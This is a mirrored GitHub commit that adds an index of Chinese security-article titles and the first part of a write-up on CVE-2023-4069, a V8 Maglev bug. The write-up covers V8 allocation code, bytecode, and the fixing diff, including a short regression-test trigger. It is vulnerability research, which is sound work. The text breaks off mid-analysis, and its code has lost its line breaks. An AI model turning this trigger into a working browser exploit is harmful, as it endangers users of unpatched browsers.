mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【漏洞速报】联想管家RCE?速速关机下班、火绒安全:微信 Windows客户端3.9及以下版本存在远程代码执行漏洞、安全测试效率翻倍!自动化资产测绘+漏洞扫描、若依系统前台+后台漏洞总结:RuoYi框架九大高危漏洞攻防指南|挖洞技巧、【漏洞复现】大华智能物联网综合管理平台 receive 命令执行漏洞、【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法、漏洞预警 | LaRecipe服务器端模板注入漏洞、WAF绕过-漏洞利用篇-sql注入+文件上传-过狗、【安全圈】英伟达漏洞致AI与机器人平台面临远程代码执行和数据泄露风险、若依前台漏洞总结、CVE-2023-4069:Maglev图建立阶段的一个漏洞、
This commit is contained in:
1 parent
16134cdad2
commit
e9c15bbd4b
12 files changed
+2731
-1
No files matched your search
@@ -16164,5 +16164,16 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651325214&idx=3&sn=da164a902b33bab2a35b77a492bae665": "7-Zip曝出两个可致内存损坏和拒绝服务的漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247494434&idx=1&sn=f85a9125e3a2b4c7eb1bf4c737ee71d2": "契约锁pdfverifier RCE攻防绕过史",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0NzE4ODk1Mw==&mid=2652096406&idx=1&sn=37ee7dab851324ca4ecb1e2e32c41326": "Sophos Intercept X for Windows 支持任意代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTI2NTQxOA==&mid=2247498183&idx=4&sn=c6af42bb31bf4a81149823c3a900f7f1": "微软服务器软件被曝严重安全漏洞 黑客借此在全球发起攻击"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTI2NTQxOA==&mid=2247498183&idx=4&sn=c6af42bb31bf4a81149823c3a900f7f1": "微软服务器软件被曝严重安全漏洞 黑客借此在全球发起攻击",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI1NTE2NzQ3NQ==&mid=2247487287&idx=1&sn=342b33e6f39c88a34c3500ee4986c9c9": "【漏洞速报】联想管家RCE?速速关机下班",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNzAwOTQxMg==&mid=2652252247&idx=1&sn=bf74fd5e8745a26a605f4c8df984203f": "火绒安全:微信 Windows客户端3.9及以下版本存在远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495401&idx=1&sn=47e2b01157d168775fb74106c8f7523c": "安全测试效率翻倍!自动化资产测绘+漏洞扫描",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247493415&idx=1&sn=0a6c89c645cd322031111cb9ac6001f8": "若依系统前台+后台漏洞总结:RuoYi框架九大高危漏洞攻防指南|挖洞技巧",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNTYxNDAwNQ==&mid=2247484960&idx=1&sn=ad43cab8df06b479660c3c71137eb642": "【漏洞复现】大华智能物联网综合管理平台 receive 命令执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk3NTE3MjU4Mg==&mid=2247484302&idx=1&sn=42e0113f5e72ddc92f84826671500353": "【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493794&idx=1&sn=23458646401be62b9d63135180ab883d": "漏洞预警 | LaRecipe服务器端模板注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5NDg4MzYzNQ==&mid=2247486588&idx=1&sn=4c73c6313fbabb62e51901d399c7a8e6": "WAF绕过-漏洞利用篇-sql注入+文件上传-过狗",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070764&idx=2&sn=d05638243e08a279721358efe3e21bb0": "【安全圈】英伟达漏洞致AI与机器人平台面临远程代码执行和数据泄露风险",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247492737&idx=1&sn=491604d0f55fcdd1d0f55633eaad86d2": "若依前台漏洞总结",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597663&idx=1&sn=34418dc2e46f79efadfa931f71df0600": "CVE-2023-4069:Maglev图建立阶段的一个漏洞"
|
||||
}
|
||||
@@ -0,0 +1,690 @@
|
||||
# CVE-2023-4069:Maglev图建立阶段的一个漏洞
|
||||
flyyyy 看雪学苑 2025-07-21 09:59
|
||||
|
||||
一、环境搭建
|
||||
|
||||
#
|
||||
|
||||
```
|
||||
git checkout 5315f073233429c5f5c2c794594499debda307bdgclient sync -Dpython3 tools\dev\gm.py x64.release
|
||||
```
|
||||
|
||||
#
|
||||
|
||||
**二、信息搜索**
|
||||
|
||||
|
||||
issue链接:https://issues.chromium.org/issues/40067530
|
||||
|
||||
https://chromium-review.googlesource.com/c/v8/v8/+/4694007
|
||||
|
||||
|
||||
revision commit hash : https://chromium.googlesource.com/v8/v8/+/ed93bef7ab786d5367c2ae7882922c23aa0eda64
|
||||
|
||||
|
||||
diff链接:
|
||||
|
||||
https://chromium.googlesource.com/v8/v8/+/ed93bef7ab786d5367c2ae7882922c23aa0eda64%5E%21/
|
||||
#
|
||||
|
||||
**三、前置知识**
|
||||
|
||||
#
|
||||
|
||||
Reflect.construct():
|
||||
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/construct#%E8%AF%AD%E6%B3%95
|
||||
|
||||
|
||||
函数原型:
|
||||
|
||||
|
||||
```
|
||||
Reflect.construct(target, argumentsList[, newTarget])
|
||||
```
|
||||
|
||||
|
||||
|
||||
参数
|
||||
|
||||
◆target:被运行的目标构造函数
|
||||
|
||||
◆argumentsList:类数组,目标构造函数调用时的参数。
|
||||
|
||||
◆newTarget可选:作为新创建对象的原型对象的constructor
|
||||
属性,参考new.target操作符,默认值为target
|
||||
。
|
||||
|
||||
|
||||
使用实例:
|
||||
|
||||
|
||||
```
|
||||
function OneClass() {this.name = "one";}function OtherClass() {this.name = "other";}// 创建一个对象:var obj1 = Reflect.construct(OneClass, args, OtherClass);console.log(obj1.name); // 'one'console.log(obj1 instanceof OneClass); // falseconsole.log(obj1 instanceof OtherClass); // true
|
||||
```
|
||||
|
||||
##
|
||||
## Builtin中的实现
|
||||
|
||||
FastNewObject的实现代码,位于src/builtins/builtins-constructor-gen.cc
|
||||
|
||||
首先获取上下文环境,其中包括target和new_target,接着定义一个call_runtime的label,如果快速路径分配失败,则会通过这个label跳转到慢速路径进行对象分配。
|
||||
|
||||
|
||||
调用FastNewObject进入快速路径,如果快速路径分配失败,则会跳转到BIND(&call_runtime),然后执行Runtime::kNewObject,进入慢速路径的分配。
|
||||
|
||||
|
||||
```
|
||||
TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) {auto context = Parameter<Context>(Descriptor::kContext);auto target = Parameter<JSFunction>(Descriptor::kTarget);auto new_target = Parameter<JSReceiver>(Descriptor::kNewTarget);Label call_runtime(this); TNode<JSObject> result =FastNewObject(context, target, new_target, &call_runtime);Return(result);BIND(&call_runtime);TailCallRuntime(Runtime::kNewObject, context, target, new_target);}
|
||||
```
|
||||
|
||||
|
||||
|
||||
对于慢速路径的runtime函数可以在vscode里全局搜索RUNTIME_FUNCTION(Runtime_xxxxx,这里的xxxxx代表函数名,上方的kNewObject,那么就用这里的函数名应该是NewObject,所以就可以搜索RUNTIME_FUNCTION(Runtime_NewObject)。
|
||||
|
||||
|
||||

|
||||

|
||||
##
|
||||
## 快速路径的分配流程
|
||||
|
||||
这里是全部完整的代码,位于src/builtins/builtins-constructor-gen.cc
|
||||
|
||||
|
||||
```
|
||||
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(TNode<Context> context, TNode<JSFunction> target,TNode<JSReceiver> new_target, Label* call_runtime) {// Verify that the new target is a JSFunction.Label end(this);TNode<JSFunction> new_target_func =HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);// Fast path.// Load the initial map and verify that it's in fact a map.TNode<Object> initial_map_or_proto =LoadJSFunctionPrototypeOrInitialMap(new_target_func);GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE), call_runtime);TNode<Map> initial_map =CAST(initial_map_or_proto);// Fall back to runtime if the target differs from the new target's// initial map constructor.TNode<Object> new_target_constructor =LoadObjectField( initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);TVARIABLE(HeapObject, properties);Label instantiate_map(this), allocate_properties(this);GotoIf(IsDictionaryMap(initial_map), &allocate_properties); { properties =EmptyFixedArrayConstant();Goto(&instantiate_map); }BIND(&allocate_properties); {if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) { properties =AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity); } else { properties =AllocateNameDictionary(NameDictionary::kInitialCapacity); }Goto(&instantiate_map); }BIND(&instantiate_map);return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt, AllocationFlag::kNone, kWithSlackTracking);}
|
||||
```
|
||||
|
||||
|
||||
|
||||
分开看,首先判断new_target_func是不是JSFunction,不是就进入call_runtime的逻辑,和前面定义的Label call_runtime(this)对应上了,这里对应的是慢速路径。
|
||||
|
||||
|
||||
```
|
||||
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(TNode<Context> context, TNode<JSFunction> target,TNode<JSReceiver> new_target, Label* call_runtime) {// Verify that the new target is a JSFunction.Label end(this);TNode<JSFunction> new_target_func =HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
|
||||
```
|
||||
|
||||
|
||||
|
||||
接着先获取new_target的inital map,然后判断new_target_func的initial_map是否是smi,因为如果是map类型,那么必然不会是smi,所以如果是smi,就会进入call_runtime的逻辑,然后将initial_map_or_proto转换为HeapObject判断是否为map类型,如果不是,那么就进入call_runtime的逻辑,这里验证的这个initial map是否真的存在。
|
||||
> GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime) 等价于if( TaggedIsSmi(initial_map_or_proto) ){call_runtime}
|
||||
|
||||
简化一下就是GotoIf(A,B);{C};等价于if(A){B}else{C};
|
||||
|
||||
|
||||
```
|
||||
// Load the initial map and verify that it's in fact a map.TNode<Object> initial_map_or_proto =LoadJSFunctionPrototypeOrInitialMap(new_target_func);GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE), call_runtime);TNode<Map> initial_map =CAST(initial_map_or_proto);
|
||||
```
|
||||
|
||||
|
||||
|
||||
从initial map上load constructor,然后判断new_target的constructor和target是否一致:
|
||||
> TVARIABLE(HeapObject, properties),这里的T代表Turbofan ,后面VARIABLE表示变量声明,类型是HeapObject,变量名称是properties
|
||||
|
||||
|
||||
```
|
||||
// Fall back to runtime if the target differs from the new target's// initial map constructor.TNode<Object> new_target_constructor = LoadObjectField( initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);
|
||||
```
|
||||
|
||||
|
||||
|
||||
下面的逻辑会根据map的不同类型进行跳转
|
||||
|
||||
|
||||
如果map的类型是DictionaryMap,那么会直接跳转到BIND(&allocate_properties),然后V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL编译选项是否开启,为properties采用不同的内存分配,接着会跳转到BIND(&instantiate_map),为map进行内存分配。
|
||||
|
||||
|
||||
如果map的类型不是DictionaryMap,那么会直接为properties分配,接着跳转到BIND(&instantiate_map)处,为map进行内存分配。
|
||||
|
||||
|
||||
```
|
||||
TVARIABLE(HeapObject, properties); Label instantiate_map(this), allocate_properties(this); GotoIf(IsDictionaryMap(initial_map), &allocate_properties); { properties = EmptyFixedArrayConstant(); Goto(&instantiate_map); } BIND(&allocate_properties); {if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) { properties = AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity); } else { properties = AllocateNameDictionary(NameDictionary::kInitialCapacity); } Goto(&instantiate_map); } BIND(&instantiate_map);return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt, AllocationFlag::kNone, kWithSlackTracking);}
|
||||
```
|
||||
|
||||
|
||||
|
||||
下面总结一下,成功进行快速对象分配的条件是:
|
||||
|
||||
|
||||
◆new_target的类型是JSFunction
|
||||
|
||||
◆new_target_func的initial map真实存在
|
||||
|
||||
◆target和new_target_constructor相同
|
||||
|
||||
◆map的类型为DictionaryMap时
|
||||
- V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL开启时
|
||||
|
||||
- properties采用AllocateSwissNameDictionary分配
|
||||
|
||||
- V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL关闭时
|
||||
|
||||
- properties采用AllocateNameDictionary分配
|
||||
|
||||
◆map的类型不为DictionaryMap时
|
||||
- properties 采用 EmptyFixedArrayConstant分配
|
||||
|
||||
◆map都是使用AllocateJSObjectFromMap
|
||||
|
||||
## 慢速路径的分配流程
|
||||
|
||||
当快速路径分配失败的时候,会通过Label call_runtime(this)跳转到BIND(&call_runtime),也就是执行这个语句TailCallRuntime(Runtime::kNewObject, context, target, new_target);
|
||||
|
||||
|
||||
Runtime::kNewObject 是一个枚举值,定义在 src/runtime/runtime.h 中。这个枚举值对应的是 Runtime_NewObject 函数,定义在 src/runtime/runtime-object.cc 中。
|
||||
|
||||
|
||||
这个函数的流程比较简单,获取当前的隔离实例,检查参数个数,获取target和new_target,最后将参数传递并调用JSObject::New
|
||||
|
||||
|
||||
```
|
||||
RUNTIME_FUNCTION(Runtime_NewObject) { HandleScope scope(isolate); DCHECK_EQ(2, args.length()); Handle<JSFunction> target = args.at<JSFunction>(0); Handle<JSReceiver> new_target = args.at<JSReceiver>(1); RETURN_RESULT_OR_FAILURE( isolate, JSObject::New(target, new_target, Handle<AllocationSite>::null()));}
|
||||
```
|
||||
|
||||
|
||||
|
||||
JSObject::New() 的源码位于src/objects/js-objects.cc,函数体开始的注释是对于new_target的所有可能性的说明,接着是一些DCHECK,可以看到**target被命名成了constructor**
|
||||
,new_target还是没有变化。
|
||||
|
||||
|
||||
```
|
||||
// staticMaybeHandle<JSObject> JSObject::New(Handle<JSFunction> constructor, Handle<JSReceiver> new_target, Handle<AllocationSite> site) {// If called through new, new.target can be:// - a subclass of constructor,// - a proxy wrapper around constructor, or// - the constructor itself.// If called through Reflect.construct, it's guaranteed to be a constructor. Isolate* const isolate = constructor->GetIsolate();DCHECK(constructor->IsConstructor());DCHECK(new_target->IsConstructor());DCHECK(!constructor->has_initial_map() || !InstanceTypeChecker::IsJSFunction( constructor->initial_map().instance_type()));
|
||||
```
|
||||
|
||||
|
||||
|
||||
调用JSFunction::GetDerivedMap来获取initial_map,然后根据V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL编译选项设置initial_capacity,最后调用NewFastOrSlowJSObjectFromMap分配对象,同时设置分配类型是kYoung,意味着可以被gc回收。
|
||||
|
||||
|
||||
```
|
||||
Handle<Map> initial_map;ASSIGN_RETURN_ON_EXCEPTION( isolate, initial_map, JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject); constexpr int initial_capacity = V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL ? SwissNameDictionary::kInitialCapacity : NameDictionary::kInitialCapacity; Handle<JSObject> result = isolate->factory()->NewFastOrSlowJSObjectFromMap( initial_map, initial_capacity, AllocationType::kYoung, site);return result;}
|
||||
```
|
||||
|
||||
|
||||
|
||||
接着来看一下JSFunction::GetDerivedMap的实现,位于src>objects>js-function.cc
|
||||
|
||||
|
||||
```
|
||||
// staticMaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate, Handle<JSFunction> constructor, Handle<JSReceiver> new_target) {EnsureHasInitialMap(constructor); Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);if (*new_target == *constructor) return constructor_initial_map; Handle<Map> result_map;// Fast case, new.target is a subclass of constructor. The map is cacheable// (and may already have been cached). new.target.prototype is guaranteed to// be a JSReceiver.if (new_target->IsJSFunction()) { Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);if (FastInitializeDerivedMap(isolate, function, constructor, constructor_initial_map)) {return handle(function->initial_map(), isolate); } }// Slow path, new.target is either a proxy or can't cache the map.// new.target.prototype is not guaranteed to be a JSReceiver, and may need to// fall back to the intrinsicDefaultProto. Handle<Object> prototype;if (new_target->IsJSFunction()) { Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);if (function->has_prototype_slot()) {// Make sure the new.target.prototype is cached.EnsureHasInitialMap(function); prototype = handle(function->prototype(), isolate); } else {// No prototype property, use the intrinsict default proto further down. prototype = isolate->factory()->undefined_value(); } } else { Handle<String> prototype_string = isolate->factory()->prototype_string();ASSIGN_RETURN_ON_EXCEPTION( isolate, prototype, JSReceiver::GetProperty(isolate, new_target, prototype_string), Map);// The above prototype lookup might change the constructor and its// prototype, hence we have to reload the initial map.EnsureHasInitialMap(constructor); constructor_initial_map = handle(constructor->initial_map(), isolate); }// If prototype is not a JSReceiver, fetch the intrinsicDefaultProto from the// correct realm. Rather than directly fetching the .prototype, we fetch the// constructor that points to the .prototype. This relies on// constructor.prototype being FROZEN for those constructors.if (!prototype->IsJSReceiver()) { Handle<Context> context;ASSIGN_RETURN_ON_EXCEPTION(isolate, context, JSReceiver::GetFunctionRealm(new_target), Map);DCHECK(context->IsNativeContext()); Handle<Object> maybe_index = JSReceiver::GetDataProperty( isolate, constructor, isolate->factory()->native_context_index_symbol()); int index = maybe_index->IsSmi() ? Smi::ToInt(*maybe_index) : Context::OBJECT_FUNCTION_INDEX; Handle<JSFunction> realm_constructor(JSFunction::cast(context->get(index)), isolate); prototype = handle(realm_constructor->prototype(), isolate); } Handle<Map> map = Map::CopyInitialMap(isolate, constructor_initial_map); map->set_new_target_is_base(false);CHECK(prototype->IsJSReceiver());if (map->prototype() != *prototype) Map::SetPrototype(isolate, map, Handle<HeapObject>::cast(prototype)); map->SetConstructor(*constructor);return map;}
|
||||
```
|
||||
|
||||
|
||||
|
||||
首先检查一下constructor的initial map是否存在,接着获取constructor的initial map,判断如果new_target和constructor一样,那么就直接返回constructor_initial_map,这里对应了直接new object的情况,也是最常用的情况。
|
||||
|
||||
|
||||
```
|
||||
// staticMaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate, Handle<JSFunction> constructor, Handle<JSReceiver> new_target) { EnsureHasInitialMap(constructor); Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);if (*new_target == *constructor) return constructor_initial_map;
|
||||
```
|
||||
|
||||
|
||||
|
||||
这里是说只有当满足三个条件的时候,才会进入的逻辑,分别是new.target为JSFunction、new.target为constructor的子类 、map可缓存时。接着确保new.target存在initial map(没有的话会尝试分配),然后直接就返回new.target的initial map。
|
||||
|
||||
|
||||
```
|
||||
Handle<Map> result_map;// Fast case, new.target is a subclass of constructor. The map is cacheable// (and may already have been cached). new.target.prototype is guaranteed to// be a JSReceiver.if (new_target->IsJSFunction()) {Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);if (FastInitializeDerivedMap(isolate, function, constructor, constructor_initial_map)) {return handle(function->initial_map(), isolate); } }
|
||||
```
|
||||
|
||||
|
||||
|
||||
看一下FastInitializeDerivedMap的实现,位于src>objects>js-function.cc
|
||||
|
||||
|
||||
```
|
||||
boolFastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target, Handle<JSFunction> constructor, Handle<Map> constructor_initial_map) {// Use the default intrinsic prototype instead.if (!new_target->has_prototype_slot()) return false;// Check that |function|'s initial map still in sync with the |constructor|,// otherwise we must create a new initial map for |function|.if (new_target->has_initial_map() && new_target->initial_map().GetConstructor() == *constructor) {DCHECK(new_target->instance_prototype().IsJSReceiver());return true; } InstanceType instance_type = constructor_initial_map->instance_type();DCHECK(CanSubclassHaveInobjectProperties(instance_type));// Create a new map with the size and number of in-object properties// suggested by |function|.// Link initial map and constructor function if the new.target is actually a// subclass constructor.if (!IsDerivedConstructor(new_target->shared().kind())) return false; int instance_size; int in_object_properties; int embedder_fields = JSObject::GetEmbedderFieldCount(*constructor_initial_map);// Constructor expects certain number of in-object properties to be in the// object. However, CalculateExpectedNofProperties() may return smaller value// if 1) the constructor is not in the prototype chain of new_target, or// 2) the prototype chain is modified during iteration, or 3) compilation// failure occur during prototype chain iteration.// So we take the maximum of two values. int expected_nof_properties = std::max( static_cast<int>(constructor->shared().expected_nof_properties()), JSFunction::CalculateExpectedNofProperties(isolate, new_target)); JSFunction::CalculateInstanceSizeHelper( instance_type, constructor_initial_map->has_prototype_slot(), embedder_fields, expected_nof_properties, &instance_size, &in_object_properties); int pre_allocated = constructor_initial_map->GetInObjectProperties() - constructor_initial_map->UnusedPropertyFields();CHECK_LE(constructor_initial_map->UsedInstanceSize(), instance_size); int unused_property_fields = in_object_properties - pre_allocated; Handle<Map> map = Map::CopyInitialMap(isolate, constructor_initial_map, instance_size, in_object_properties, unused_property_fields); map->set_new_target_is_base(false); Handle<HeapObject> prototype(new_target->instance_prototype(), isolate); JSFunction::SetInitialMap(isolate, new_target, map, prototype, constructor);DCHECK(new_target->instance_prototype().IsJSReceiver()); map->set_construction_counter(Map::kNoSlackTracking); map->StartInobjectSlackTracking();return true;}
|
||||
```
|
||||
|
||||
|
||||
|
||||
这里先check了new_target是否有prototype,也就是在原本的JSCFuntcion的基础上继续判断。
|
||||
|
||||
|
||||
接着如果new_target存在initial map,并且对应的构造函数和target一致,那么就直接返回true,进行快速对象的分配。
|
||||
> 这里快速对象分配还遵守着target和new_target的constructor得一致
|
||||
|
||||
|
||||
```
|
||||
boolFastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target, Handle<JSFunction> constructor, Handle<Map> constructor_initial_map) {// Use the default intrinsic prototype instead.if (!new_target->has_prototype_slot()) return false;// Check that |function|'s initial map still in sync with the |constructor|,// otherwise we must create a new initial map for |function|.if (new_target->has_initial_map() && new_target->initial_map().GetConstructor() == *constructor) {DCHECK(new_target->instance_prototype().IsJSReceiver());return true; }
|
||||
```
|
||||
|
||||
|
||||
|
||||
其实漏洞时出现在快速对象分配的,下面的与慢速分配相关,所以笔者就不接着分析了。
|
||||
|
||||
|
||||
```
|
||||
// Slow path, new.target is either a proxy or can't cache the map.// new.target.prototype is not guaranteed to be a JSReceiver, and may need to// fall back to the intrinsicDefaultProto. Handle<Object> prototype;if (new_target->IsJSFunction()) { Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);if (function->has_prototype_slot()) {// Make sure the new.target.prototype is cached.EnsureHasInitialMap(function); prototype = handle(function->prototype(), isolate); } else {// No prototype property, use the intrinsict default proto further down. prototype = isolate->factory()->undefined_value(); } } else { Handle<String> prototype_string = isolate->factory()->prototype_string();ASSIGN_RETURN_ON_EXCEPTION( isolate, prototype, JSReceiver::GetProperty(isolate, new_target, prototype_string), Map);// The above prototype lookup might change the constructor and its// prototype, hence we have to reload the initial map.EnsureHasInitialMap(constructor); constructor_initial_map = handle(constructor->initial_map(), isolate); }
|
||||
```
|
||||
|
||||
##
|
||||
## Maglev的简单介绍
|
||||
|
||||
demo
|
||||
|
||||
|
||||
```
|
||||
function f0(a1){const v5 = new Array(7);for (let v6 = 0; v6 < 25; v6++) { v5["p" + v6] = v6; }}f0(f0());%OptimizeMaglevOnNextCall(f0);f0(f0());
|
||||
```
|
||||
|
||||
|
||||
|
||||
./d8 --allow-natives-syntax --maglev --print-maglev-graphs ./DebugMaglev.js
|
||||
执行这个命令,会有下面的输出,从Bytecode age: 0到Constant pool (size = 2)之间,是这一段demo生成的字节码。
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
大致解释下,见注释。简单的说明是最左侧是存放字节码的地址,右侧@后面的数字是相对于这一段字节码的偏移地址,: 后面的是内存里的字节码,然后最后是指令。
|
||||
|
||||
|
||||
```
|
||||
0x363c0019adf2 @ 0 :21 00 00 LdaGlobal [0], [0] ;load global “Array”,从下面的常量池取出来0x363c0019adf5 @ 3 :c3 Star2 ;将值 store 到 r20x363c0019adf6 @ 4 :0d 07 LdaSmi [7] ;将smi 7 load 到 累加器中0x363c0019adf8 @ 6 :c2 Star3 ;将累加器中的值 store 到 r30x363c0019adf9 @ 7 :0b f8 Ldar r2 ;将r2的值 load 到累加器中0x363c0019adfb @ 9 :69 f8 f7 01 02 Construct r2, r3-r3, [2];r2是Array r3是7 => new Array(7)0x363c0019ae00 @ 14 :c5 Star0 ;值存到r00x363c0019ae01 @ 15 :0c LdaZero ;0存到累加器0x363c0019ae02 @ 16 :c4 Star1 ;累加器的值存到r10x363c0019ae03 @ 17 :0d 19 LdaSmi [25] ;smi 25存到 累加器0x363c0019ae05 @ 19 :6d f9 04 TestLessThan r1, [4] ;比较r1和smi 4,对应的是for循环的判断0x363c0019ae08 @ 22 :9a 1a JumpIfFalse [26] (0x363c0019ae22 @ 48);如果返回值为false 则跳转到偏移为48的地方,对应后方的LdaUndefined指令0x363c0019ae0a @ 24 :13 01 LdaConstant [1] ;常量池[1],也就是p,load到累加器0x363c0019ae0c @ 26 :c2 Star3 ;再存到r30x363c0019ae0d @ 27 :0b f9 Ldar r1 ;r1存到累加器0x363c0019ae0f @ 29 :38 f7 05 Add r3, [5] ;r3+smi[5],对应"p" + v60x363c0019ae12 @ 32 :c2 Star3 ;值存到r30x363c0019ae13 @ 33 :0b f9 Ldar r1 ;r1存到累加器0x363c0019ae15 @ 35 :34 fa f7 06 SetKeyedProperty r0, r3, [6];r0是上面创建的Array,然后r3是设置的val,索引赋值为smi[6]0x363c0019ae19 @ 39 :0b f9 Ldar r1 ;r1存到累加器0x363c0019ae1b @ 41 :50 08 Inc [8] ;r1+8,也就是v6++0x363c0019ae1d @ 43 :c4 Star1 ;累加器的值存到r10x363c0019ae1e @ 44 :8a 1b 00 09 JumpLoop [27], [0], [9] (0x363c0019ae03 @ 17);跳转到偏移为17的地方,也就是这个指令的位置LdaSmi [25] 0x363c0019ae22 @ 48 :0e LdaUndefined0x363c0019ae23 @ 49 :aa Return
|
||||
```
|
||||
|
||||
|
||||
|
||||
也就是说下面的r0是new出来的array,然后索引是r3,r3通过常量池中的p赋值的到,在循环体中每次+smi[5],r1作为index,每次执行自加的操作,直到大于等于25跳出循环。
|
||||
|
||||
|
||||
对于后续更详细的流程,可以去看这个23年p4nda师傅在bh eu上的slide
|
||||
|
||||
|
||||
|
||||
**四、漏洞分析**
|
||||
|
||||
|
||||
|
||||
查看下issue对应的diff,完整的diff内容如下,主要是在/src/maglev/maglev-graph-builder.cc下的修改。
|
||||
|
||||
|
||||
```
|
||||
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.ccindex d5f6128..2c5227e 100644--- a/src/maglev/maglev-graph-builder.cc+++ b/src/maglev/maglev-graph-builder.cc@@ -5347,6 +5347,14 @@ StoreRegister(iterator_.GetRegisterOperand(0), map_proto); }+bool MaglevGraphBuilder::HasValidInitialMap(+ compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {+ if (!new_target.map(broker()).has_prototype_slot()) return false;+ if (!new_target.has_initial_map(broker())) return false;+ compiler::MapRef initial_map = new_target.initial_map(broker());+ return initial_map.GetConstructor(broker()).equals(constructor);+}+ void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() { ValueNode* this_function = LoadRegisterTagged(0); ValueNode* new_target = LoadRegisterTagged(1);@@ -5380,7 +5388,9 @@ TryGetConstant(new_target); if (kind == FunctionKind::kDefaultBaseConstructor) { ValueNode* object;- if (new_target_function && new_target_function->IsJSFunction()) {+ if (new_target_function && new_target_function->IsJSFunction() &&+ HasValidInitialMap(new_target_function->AsJSFunction(),+ current_function)) { object = BuildAllocateFastObject( FastObject(new_target_function->AsJSFunction(), zone(), broker()),diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.hindex 0abb4a8..d92354c 100644--- a/src/maglev/maglev-graph-builder.h+++ b/src/maglev/maglev-graph-builder.h@@ -1884,6 +1884,9 @@ void MergeDeadLoopIntoFrameState(int target); void MergeIntoInlinedReturnFrameState(BasicBlock* block);+ bool HasValidInitialMap(compiler::JSFunctionRef new_target,+ compiler::JSFunctionRef constructor);+ enum JumpType { kJumpIfTrue, kJumpIfFalse }; enum class BranchSpecializationMode { kDefault, kAlwaysBoolean }; JumpType NegateJumpType(JumpType jump_type);diff --git a/test/mjsunit/maglev/regress/regress-crbug-1465326.js b/test/mjsunit/maglev/regress/regress-crbug-1465326.jsnew file mode 100644index 0000000..6e01c1e--- /dev/null+++ b/test/mjsunit/maglev/regress/regress-crbug-1465326.js@@ -0,0 +1,25 @@+// Copyright 2023 the V8 project authors. All rights reserved.+// Use of this source code is governed by a BSD-style license that can be+// found in the LICENSE file.++// Flags: --maglev --allow-natives-syntax++class A {}++var x = Function;++class B extends A {+ constructor() {+ x = new.target;+ super();+ }+}+function construct() {+ return Reflect.construct(B, [], Function);+}+%PrepareFunctionForOptimization(B);+construct();+construct();+%OptimizeMaglevOnNextCall(B);+var arr = construct();+console.log(arr.prototype);
|
||||
```
|
||||
|
||||
|
||||
|
||||
分析之前需要熟悉一下这个函数MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct(),从这个函数名不难看出,这个流程发生在Maglev的图建立阶段,用于处理派生类非默认构造函数的访问。
|
||||
|
||||
|
||||
这里需要配合一个说明的代码,看一下这个函数的触发流程:
|
||||
|
||||
|
||||
```
|
||||
